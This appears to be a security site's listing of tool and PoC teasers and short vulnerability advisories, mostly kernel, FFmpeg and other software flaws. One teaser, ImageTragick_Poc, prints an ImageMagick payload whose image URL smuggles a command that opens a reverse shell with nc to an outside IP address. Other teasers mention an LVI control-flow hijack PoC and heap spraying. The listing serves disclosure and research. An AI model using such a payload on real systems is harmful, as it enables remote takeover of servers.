katana

A next-generation crawling and spidering framework Features • Installation • Usage • Scope • Config • Filters • Join Discord Features Fast And fully configurable web crawling Standard and Headless mode JavaScript parsing / crawling Customizable automatic form filling Scope control - Preconfigured...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

lvi-lfb-attack-poc

LVI-LFB制御フローハイジャック攻撃（CVE-2020-0551）のPoC このリポジトリには、LVI-LFB制御フローハイジャック攻撃のPoCのソースコードが含まれています。 内容 lvi-cfh-poc - ラインフィルバッファスプレーを介して別のプロセスの制御フローをハイジャックする ホワイトペーパー 前提条件 1. Visual Studio 2015 2. 脆弱性のあるIntel CPU 著者 Andrei Vlad LUȚAȘ Dan Horea LUȚAȘ 参考資料 Bitdefenderのブログ記事:...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: hsr: Fixed uninit-value access in fillframeinfo Syzbot reports the following uninit-value access problems. ===================================================== BUG: KMSAN: uninit-value in fillframeinfo net/hsr/hsrforward.c:60...

Python-precise-heap-spraying-

Python-precise-heap-spraying- Python 精确堆喷射 0c0c0c0c...

CVE-2026-80871 crypto: xilinx-trng - Remove crypto_rng interface

In the Linux kernel, the following vulnerability has been resolved: crypto: xilinx-trng - Remove cryptorng interface Implementing the cryptorng interface has no purpose, as it isn't used in practice. It's being removed from other drivers too. Just remove it. This leaves hwrng, which is actually...

EUVD-2026-70044

The Brave WordPress plugin before 0.8.8 does not prevent a URL parameter used to pre-fill a form field from being passed to WordPress's shortcode engine, allowing unauthenticated attackers to have arbitrary shortcodes registered on the site executed server-side...

gstreamer1-plugins-bad-free: gstreamer: rfbsrc/librfb Hextile heap out-of-bounds write with 16bpp framebuffer

A heap buffer overflow vulnerability was found in GStreamer's rfbsrc plugin. When a client connects to a malicious RFB/VNC server that advertises a 16bpp framebuffer and sends Hextile-encoded updates, the Hextile background fill path writes 32-bit pixel values into a buffer allocated for 16-bit...

CVE-2026-82472

Documenso before 2.13.0 exposes the /api/files/upload-pdf endpoint without requiring authentication, session tokens, or API credentials. This allows unauthenticated attackers to upload arbitrary PDF files indefinitely, potentially exhausting storage resources or filling the database with unlinked...

Unity Linux 20.1050a Security Update: kernel (UTSA-2026-098676)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-098676 advisory. In the Linux kernel, the following vulnerability has been resolved: bpf: support non-r10 register spill/fill to/from stack in precision tracking Use instruction jump...

CVE-2026-74627

A flaw was found in the Linux kernel's net: devmem component. This vulnerability occurs when netiov and page-backed fragments are improperly mixed within a single skb socket buffer in the zerocopyfillskbfromdevmem function. This improper handling can lead to a system crash, resulting in a Denial ...

Astra Linux – Vulnerability in ffmpeg5

A vulnerability, classified as critical, was discovered in FFmpeg up to version 5.1.5. This vulnerability affects the fillaudiodata function in the file /libswresample/swresample.c. The vulnerability leads to a heap-based buffer overflow. The attack can be initiated remotely. This issue was fixed...

Astra Linux – Vulnerability in Poppler

A issue was discovered in Poppler through version 0.78.0. There is a divide-by-zero error in the function SplashOutputDev::tilingPatternFill in SplashOutputDev.cc...

Astra Linux – Vulnerability in Linux

In the Linux kernel, the following vulnerabilities have been resolved: ext4: Fixed a memory leak in ext4fillsuper. The buffer head references must be released before calling killbdev;. Otherwise, the buffer head and the page referenced by bdata will not be freed by killbdev, and subsequently, tha...

Astra Linux – Vulnerability in Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Fixed a memory leak in the ntfsfillsuper error path. syzbot reported the issue as follows: BUG: Memory leak Unreferenced object: 0xffff8880122f1540 size: 32 bytes Operation: comm "a.out", pid 6664, jiffies 4294939771...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: jffs2: fixed a memory leak in jffs2dofillsuper. If jffs2iget or dmakeroot in jffs2dofillsuper returns an error, we can observe the following kmemleak report: -------------------------------------------- unreferenced object...

Astra Linux – Vulnerability in Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: In the net subsystem, the function skbAppendPageFrags should no longer check the pfmemalloc status. The skbAppendPageFrags function is currently used by the afunix and udp.sendpage implementations. In commit 326140063946 “TCP: TX...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, Linux, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: xsk: Validated user input for XDPUMEM|COMPLETIONFILLRING syzbot reported an illegal copy in xsksetsockopt 1 Ensure that the @optlen parameter of setsockopt is validated. 1 BUG: KASAN: Out-of-bounds access in...

Astra Linux – Vulnerabilities in Linux, Linux-5.15, Linux-5.10

In the Linux kernel, the following vulnerabilities have been resolved: debugobjects: Do not wake up kswapd from fillpool. syzbot reports a lockdep warning in fillpool, because the allocation via debugobjects uses GFPATOMIC, which is GFPHIGH | GFPKSWAPDRECLAIM. This attempt to wake up kswapd resul...

Astra Linux – Vulnerability in Derby

A cleverly designed username can bypass LDAP authentication checks. In LDAP-authenticated Derby installations, this could allow an attacker to create unnecessary Derby databases, thereby filling up storage space. In LDAP-authenticated Derby installations, the attacker could also execute malware...